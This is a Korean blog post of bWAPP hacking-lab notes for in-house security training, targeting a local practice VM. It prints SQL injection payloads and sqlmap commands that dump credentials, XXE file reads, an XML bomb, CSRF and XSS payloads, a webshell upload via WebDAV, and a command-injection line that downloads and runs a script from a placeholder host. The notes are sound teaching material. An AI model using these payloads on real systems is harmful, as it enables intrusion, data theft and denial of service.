bWAPP(buggy web application) 해킹 실습
bWAPP(buggy web application) 해킹 실습 교육을 받고, 관련 내용을 정리해 보았다.
사내 전파 교육을 위해 작성한 markdown 파일을 거의 그대로 재사용하였다. 😅
bWAPP 설치
- 홈페이지: http://www.itsecgames.com/
- bee-box 다운로드 (VM 이미지에 Linux/Apache/MySQL/PHP, bWAPP 포함)
- bWAPP 단독 다운로드
- 관련 도서: 비박스 환경을 활용한 웹 모의해킹 완벽 실습 (한빛미디어)
bWAPP 실행
- VirtualBox나 VMware Player에서
bee-box
이미지를 import 하여 가상 머신을 실행시키면 된다. - 본 글에서는 네트워크 어댑터를
어댑터에 브리지
로 연결시켰고, 이 때 가상 머신의 IP는 192.168.0.106으로 할당받았다고 가정한다. - 가상 머신에 있는 웹브라우저를 실행시켜도 되지만, 편의상 호스트 브라우저에서
192.168.0.106
으로 접속한 후,bWAPP
링크를 클릭하면 된다. - Console 로그인 ID는
bee
이고 최초 암호는bug
이다. - WebUI 로그인 ID는
bee
와A.I.M.
이 있고, 둘 다 최초 암호는bug
이다.
DB 확인
- 서버 console에서 아래와 같이 MySQL로 로그인 한다.
$ mysql -u root -p Enter password: bug
이제 아래와 같이 DB 테이블을 조회할 수 있다.
mysql> use bWAPP mysql> select * from users;
- 기본 DB 파일은
/var/www/bWAPP/db/bwapp.sqlite
파일이고 SQLite brower 등으로 확인할 수 있다.
[A1] SQL Injection (GET/Search)
'
를 입력하면 SQL syntax 에러가 나온다. (즉, SQL injection 공격이 가능함)- medium level 이상이면 SQL syntax 에러가 안나온다. (즉, SQL injection 공격이 가능하지 않음)
- URI 정보를 확인해 보면 GET 방식임을 알 수 있다.
- 아래 내용으로 서치하면 DB 테이블 이름이 출력된다.
a' union select 1,table_name,3,4,5,6,7 from INFORMATION_SCHEMA.TABLES where table_schema=database()#`
- 아래 내용으로 서치하면 users 테이블의 항목이 출력된다.
a' union select 1,column_name,3,4,5,6,7 from INFORMATION_SCHEMA.columns where table_name='users' and table_schema=database()#
- 아래 내용으로 서치하면 사용자 id/login/
password
/email 정보가 출력된다.a' union select 1,id,login,password,email,6,7 from users#`
- 얻은 password hash 값인 “6885858486f31043e5839c735d99457f045affd0”를 구글 검색으로 찾아보면, “bug”의 SHA1 값이라는 것을 알 수 있다. 또는 HASH cracker 등의 사이트를 이용할 수도 있다.
[A1] SQL Injection - Blind - Boolean-Based>
'
를 입력하면 SQL syntax 에러가 나온다. (즉, SQL injection 공격이 가능함)- “iron man”을 서치해 보면 DB에 있다고 나온다.
- 아래 형태로 입력하다가 (뒤 숫자가 틀리면 DB에 없다고 나옴) 숫자가 5가 되면 true가 되어 DB에 있다고 나온다. (즉, DB 이름이 5글자임)
iron' or '1'='1' and length(database())=5#
- 아래와 같이 시도하면 true가 되어 DB에 있다고 나오고 DB 이름을 얻을 수 있다. (즉, bwapp 임)
iron' or '1'='1' and substring(database(),1,1)='b'# iron' or '1'='1' and substring(database(),2,1)='w'# iron' or '1'='1' and substring(database(),3,1)='a'# iron' or '1'='1' and substring(database(),4,1)='p'# iron' or '1'='1' and substring(database(),5,1)='p'#
[A1] SQL Injection - Stored (Blog)
'
를 입력하면 SQL syntax 에러가 나온다. (즉, SQL injection 공격이 가능함)- 아래와 같이 입력하면 내용은
hi
를 출력하고, Owner 정보에는 첫번째 유저의 login/password 정보가 출력된다.hi',(select concat(login, password) from users limit 0,1))#
- 마찬가지로 아래와 같이 입력하면 내용은
hi
를 출력하고, Owner 정보에는 두번째 유저의 login/password 정보가 출력된다.hi',(select concat(login, password) from users limit 1,2))#
- 블로그 글을 모두 삭제하려면
Reset
탭을 누르면 된다.
sqlmap 툴
- sqlmap 툴은 SQL injection 취약점을 penetration 테스트하여 SQL DB의 구조 파악, 테이블 내용 표시 등을 출력해주는 툴이다.
- Ubuntu의 경우 아래와 같이 설치한 후, 실행할 수 있다.
$ sudo apt install sqlmap $ sqlmap
- 또는 소스를 직접 받으려면 아래와 같이 하면 된다. (Windows인 경우에도 이렇게 하면 됨)
$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev $ python sqlmap.py
단, 실행시키려면 파이썬 2.6이나 2.7 또는 3.x 버전이 설치되어 있어야 한다.
[A1] SQL Injection (POST/Select)
- POST 방식이고 사용자 입력이 없는 경우이다.
- Burp Suite의 Proxy intercept 기능을 이용하여 캡쳐한다. (아래 예와 같이 나왔다고 가정)
POST /bWAPP/sqli_13.php HTTP/1.1 Cookie: PHPSESSID=bf571c656a20f5965696d759d1f260b7; security_level=0 movie=1&action=go
위의 정보로 cookie 값도 얻었고, POST 방식으로
movie=1
과 같이 movie index 정보를 넘겨줌을 알 수 있다. - DB 기본 정보를 얻기 위해 Burp Suite에서 movie 부분을 (위의 예제에서는 1) 아래 내용으로 대체한 후, Forward 시킨다.
movie=0 UNION SELECT null, database(), @@version, @@datadir, null,null,null
결과로 DB 이름, 버전, DB 경로가 출력된다. 또, 아래와 같이 movie 내용을 대체하면, 호스트 이름, 사용자 이름, 비밀 번호가 출력된다.
movie=0 UNION SELECT null, host,user,password,null,null,null FROM mysql.user
- 이런 식으로 계속 DB의 정보를 알아낼 수 있지만, 아래 예와 같이 SQL injection 자동화 도구인
sqlmap
을 사용하면 쉽게 더 많은 정보를 알아낼 수 있다.$ sqlmap -u "http://192.168.0.106/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf571c656a20f5965696d759d1f260b7; security_level=0" --data="movie=1&action=go" --tables $ sqlmap -u "http://192.168.0.106/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf571c656a20f5965696d759d1f260b7; security_level=0" --data="movie=1&action=go" --columns
- 위에서
sqlmap
을 이용하여 DB 칼럼명을 얻어냈으므로, movie에 아래 내용을 주면 login, password, secret, email 등의 사용자 정보를 알아낼 수 있다.movie=0 UNION SELECT null,login,password,email,secret,null,null FROM users&action=go
- Penetration 테스트가 성공하므로, 아래와 같이 sqlmap을 이용하여 SQL shell도 얻을 수 있다.
$ sqlmap -u "http://192.168.0.106/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf571c656a20f5965696d759d1f260b7; security_level=0" --data="movie=1&action=go" --sql-shell
이후 아래 예와 같이 각종 DB 정보를 조회할 수 있다.
sql-shell> select * from users
[A7] XML External Entity Attacks (XXE)
- Burp Suite를 실행시키고 intercept를 켠 후, Any bugs? 버튼을 누른다.
- Burp Suite에서 캡쳐된 내용을 보면 아래 부분이 있다.
<reset><login>bee</login><secret>Any bugs?</secret></reset>
- Burp Suite에서 마우스 우클릭하여
Send to Repeater
를 누른다. 이후Repeater
탭에 들어가보면 기존 내용이 복사되어 있다. 여기서 위의 기존 정보를 아래 내용으로 대체한 후 (즉, 로그인 사용자 정보를 XML external entity로 대체),Send
버튼을 누른다.<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE Header [ <!ENTITY bee SYSTEM "file:///etc/passwd"> ]> <reset><login>&bee;</login><secret>Any bugs?</secret></reset>
응답으로
/etc/passwd
파일 내용이 출력된다. 파일을 바꿔가면서 계속 보내면 응답으로 해당 파일의 내용이 출력된다. - XML bomb도 이 XXE 공격 기법으로 DoS 공격을 한다. 예를 들어 아래와 같이 보내면, “lol”(lots of laughs) 문자열이 10^3 번 출력된다.
<?xml version="1.0"?> <!DOCTYPE Header [ <!ENTITY lol "lol"> <!ELEMENT Header (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY bee "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ]> <reset><login>&bee;</login><secret>Any bugs?</secret></reset>
이제 아래와 같이 보내면 (10^9 번 “lol” 출력) 서버의 CPU 사용율이 치솟고 response는 결국 타임 아웃이 걸린다.
<?xml version="1.0"?> <!DOCTYPE Header [ <!ENTITY lol "lol"> <!ELEMENT Header (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY bee "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <reset><login>&bee;</login><secret>Any bugs?</secret></reset>
[A10] Unvalidated Redirects & Forwards (1)
- Burp Suite로 캡쳐해 보면 아래와 같이 리다이렉트되는 URL 주소가 GET 방식으로 넘어감을 알 수 있다.
GET /bWAPP/unvalidated_redir_fwd_1.php?url=http%3A%2F%2Fitsecgames.blogspot.com&form=submit HTTP/1.1
- 따라서 Burp Suite에서 위
url
정보를 다른 웹사이트 주소로 변경하면 해당 주소로 리다이렉트된다.
[A8] CSRF (Change Password)
- Burp Suite에서 intercept를 켜 놓은 후, bWAPP에서 현재 암호를 입력한 후,
Change
버튼을 누른다. 결과로 아래 예와 같이 캡쳐된다 (예로 암호를 test로 입력).GET /bWAPP/csrf_1.php?password_new=test&password_conf=test&action=change HTTP/1.1
- 즉, 기존 암호 검증이 없는 취약점을 노릴 수 있다. Burp Suite에서 마우스 우클릭하여
Copy URL
을 누르면 현재 URL 정보가 아래 예와 같이 클립보드에 복사된다.http://192.168.0.106/bWAPP/csrf_1.php?password_new=test&password_conf=test&action=change
이제 현재 사용자는 로그 아웃한다.
- 웹브라우저에 위 URL 정보를 복사하고 암호를 원하는 내용으로 변경하여 접속해 보면, 기존 암호 검증 단계가 없으므로 무조건 새로운 암호로 변경할 수 있다.
- 목적은 위의 비밀 번호 변경 취약점을 이용하여 사용자가 블로그를 보면, 사용자의 비밀 번호를 변경하는 것이다.
[A1] SQL Injection - Stored (Blog)
페이지로 이동한다. - 블로그에 아래 내용을 입력하여 (예로 암호는 test로 입력) 글을 올린다.
Your password is changed<img src="http://192.168.0.106/bWAPP/csrf_1.php?password_new=test&password_conf=test&action=change" height=0 width=0>
- 이제 암호가 변경되었음을 확인할 수 있다. 추가 테스트로 “A.I.M.” 사용자로 로그인 한 후 (최초 암호는 “bug” 임),
[A1] SQL Injection - Stored (Blog)
페이지로 이동한 후 로그 아웃 후, 다시 로그인 해보면 “A.I.M.” 사용자의 암호도 변경되었음을 확인할 수 있다.
[A8] CSRF (Transfer Amount)
- 테스트해보면 GET 방식으로 보내서, URI 정보가 아래 예와 같이 같음을 확인할 수 있다. (100 EUR 송금 예)
http://192.168.0.106/bWAPP/csrf_2.php?account=123-45678-90&amount=100&action=transfer
- 위 주소로 다시 refresh 시켜보면 취약점으로 인해 계속 송금이 되고 계좌에서 돈이 빠져 나간다.
- Security level을 high로 바꾼 후에, 동일하게 테스트해 보면
token
값이 random하게 바뀌어서 refresh 시켜도 송금이 되지 않은 것을 확인할 수 있다. - 계좌에 다시 돈을 채워 넣으려면 송금액을 음수로 하면 된다.
[A1] OS Command Injection
- 소스 코드가 입력 서버 주소를
shell_exec
함수를 이용하여nslookup
명령의 파라미터로 실행시키는 구조이므로, 아래 예와 같이 입력하면;
뒤의 명령어도 실행되어 결과를 보여준다.google.co.kr; cat /etc/passwd
- 모든 OS 명령어가 사용 가능하므로, 아래 예와 같이 악성 코드를 다운받아서 실행시킬 수도 있다.
테스트로 아래와 같은 내용으로
hack.sh
파일을 작성하여,<your_host>/<your_path>/
경로에 올려 놓는다.echo "Your system is hacked" > /tmp/hack.log
이제 아래 내용을 DNS lookup 해본다.
google.co.kr; wget http://<your_host>/<your_path>/hack.sh -O /tmp/hack.sh; sh /tmp/hack.sh
결과로 /tmp/hack.sh, /tmp/hack.log 파일이 웹서비스의 ID인
www-data
권한으로 생성되었음을 확인할 수 있다.
[A1] Server-Side Includes (SSI) Injection
- First name을 입력한 후, Last name에 아래 예와 같이 입력한다. (First/Last 내용을 바꾸어도 됨)
<!--#exec cmd="cat /etc/passwd" -->
결과로 서버의
/etc/passwd
파일 내용이 출력된다.
[A7] Directory Traversal - Files
- URI 정보를 보면,
page=message.txt
내용이 들어있다. - 따라서 URI 정보에서
page=/etc/passwd
예와 같이 보려는 파일 경로로 대체하면 해당 파일의 내용이 출력된다. 단, www-data 유저의 권한이 없는 파일은 보여지지 않는다.
[A3] XSS - Reflected (GET)
- 이름을 입력하고 테스트해 보면, URI 정보에 GET 방식으로
firstname
,lastname
값이 넘어감을 알 수 있다. - 이름에 아래 예와 같이 입력하면 해당 스크립트가 실행되고 사용자의 쿠키 정보를 출력한다.
<script>alert(document.cookie)</script>
[A1] SQL Injection - Stored (Blog)
페이지로 이동한 후, 블로그에 아래 내용을 입력하여 글을 올리면 해당 사용자의 쿠기 정보가 출력된다.hacked<script>alert(document.cookie)</script>
[A3] XSS - Reflected (JSON)
- 영화 검색을 해보면 URI 정보에
title
값으로 넘어감을 알 수 있다. - 없는 영화를 검색하면 “
검색한 이름
??? Sorry, we don’t have that movie :(“와 같이 출력된다. 브라우저에서 페이지 소스를 보면 해당 JSON 문자열의 맨 끝이"}]}';
임을 확인할 수 있다. - 아래 예와 같은 내용으로 검색하면 사용자의 쿠기 정보가 출력된다.
"}]}';</script><script>alert(document.cookie)</script>
[A3] XSS - Reflected (Referer)
- Referer는 방문자가 어떤 경로로 자신의 사이트에 접속했는지를 얻을 수 있는 정보이다.
- Burp Suite로 캡쳐하면,
Referer
정보가 보이는데, 이 부분을 아래 예와 같이 스크립트로 대체한 후, Forward 버튼을 누른다.Referer: <script>alert(document.cookie)</script>
결과로 사용자의 쿠키 정보가 출력된다.
[A3] XSS - Stored (Cookies)
- 장르를 선택한 후 테스트해 보면, GET 방식으로
genre
필드가 넘어감을 알 수 있다. - Burp Suite로 확인해 보면,
Cookie
값 중에movie_genre
가 세팅됨을 확인할 수 있다. - GET 메소드와 Cookie 정보에서 기존 장르 문자열을 아래와 같은 스크립트를 대체한 후, Forward 시킨다. (쿠키에 스크립트를 inject 시킨 것임)
<script>alert(document.cookie)</script>
- 이후
[A2] Session Mgmt. - Cookies (Secure)
페이지로 이동한 후Cookies
버튼을 누르면,movie_genre
내용은 비어있고 사용자의 쿠키 정보가 출력된다.
[A5] Insecure WebDAV Configuration
- WebDAV는 HTTP 환경에서 서버에 있는 파일의 조회/송수신/수정/삭제/이동 등을 가능하게 해주는 서비스이다.
- 서버에서
/etc/apache2/httpd.conf
파일을 확인해 보면, 아래 내용과 같이 WebDAV 서비스가 enable 되어 있다.ExtendedStatus On <Location /server-status> SetHandler server-status Order deny,allow Allow from all </Location> # Allows WebDAV, not secure!!! Alias /webdav /var/www/bWAPP/documents <Location /webdav> DAV On </Location>
- WebDAV 메소드 중에서 PUT 메소드를 이용하여 악의적인 파일을 업로드하고, 이를 다른 사용자가 클릭하면 실행시킬 수 있다.
- 브라우저에서 http://192.168.0.106/webdav 주소로 접속해 보면, 서버의
/var/www/bWAPP/documents/
경로에 있는 파일들이 출력된다. 이것을 Burp Suite로 캡쳐해 보면 아래 내용이 있다. (즉, GET 메소드로 파일 리스트를 얻었음)GET /webdav/ HTTP/1.1
- c99.php 코드를 복사한다. (WebShell 코드임)
- 기존 내용에서 GET 줄을 아래 내용으로 대체한다.
PUT /webdav/webshell.php HTTP/1.1
또, 아래 부분에 c99.php 코드 내용을 그대로 붙여 넣는다. Forward 버튼을 누르면 해당 파일이 생성되었다는 메시지가 나오고, 해당 파일 리스트에 보인다.
- 브라우저에서 해당 파일을 클릭하면 WebShell이 실행된다.
디렉토리 리스팅 테스트 (WebDAV 설정 문제)
index of webdav
검색index of mp3
검색index of movie
검색
[Other bugs] Unrestricted File Upload
- jpg나 png 파일을 업로드하면 그림을 확인할 수 있다.
- 확장자 검색을 하지 않아서 php 파일도 업로드할 수 있다. (이후 이 파일을 공격에 이용할 수 있음)
- 예를 들어 아래와 같은 내용의 php 파일을 작성하여 업로드 후 테스트해보면, 사용자 쿠키 정보가 출력된다.
<script>alert(document.cookie)</script>
[A2] Broken Auth. - Logout Management
- 로그 아웃하면 로그인 화면이 나오지만, 브라우저에서 back을 시키면 다시 이전 화면으로 정상적으로 나오므로, 정상적으로 로그 아웃이 된 상태가 아니다.
- 소스 코드를 확인해보면 현재 세션을 삭제하지 않는 취약점을 가지고 있다.
버퍼 Overflow
- 언어 중에서 특히 C/C++이 취약
- Linux에서는 SSP(Stack Smashing Protector)로 overflow 방지
- Secure coding 필요
- 정적 검사 tool: 언어에 따라 다름
- Spotbugs(무료)
- Sparrow(상용)
- 동적 검사 tool: 비용과 시간이 많이 소요됨
- ZAP (무료)
- Netsparker(상용)
소스코드(Java) 보안 취약점 진단 실습
- 테스트 소스: openeg (Java로 구현되었음)
- Eclipse에서
Spotbugs
플러그인을 설치하고, findsecbugs 플러그인을 추가한 후, Security 항목을 enable 시킨 후, 검사하면 된다.